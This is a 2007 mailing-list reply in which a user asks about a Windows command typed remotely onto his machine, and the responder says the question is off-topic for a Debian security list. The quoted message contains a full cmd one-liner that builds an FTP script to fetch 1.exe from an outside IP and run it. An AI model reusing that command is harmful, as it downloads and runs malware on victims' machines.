Re: spooky windows script
- To: email@example.com
- Subject: Re: spooky windows script
- From: David Clymer <firstname.lastname@example.org>
- Date: Tue, 08 May 2007 10:14:40 -0400
- Message-id: <email@example.com>
- In-reply-to: <3246512.31471178629044474.JavaMail.www@wwinf6103>
- References: <3246512.31471178629044474.JavaMail.www@wwinf6103>
On Tue, 2007-05-08 at 14:57 +0200, Jan Outhuis wrote:
> Recently I'm repeatedly being pestered by a strange event while surfing the net. My cursor is taken over and the following code is typed:
> cmd /c echo open 188.8.131.52 22783 >> ik &echo user db database >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit
> (I see on my network monitor that this is coming from outside; IP-number and user name vary.)
> After that all is back to normal.
> Now this is of course a nuisance, but is it also a thread? And what can be done against it?
> Anybody got a clue on this?
I'm sure someone has a clue. However, clued listmembers or not, a
windows security issue is not an appropriate topic for discussion on a
mailing list called "debian-security". As the name implies, this list is
for discussing security issues as they relate to the Debian GNU/Linux
A good hot dog feeds the hand that bites it.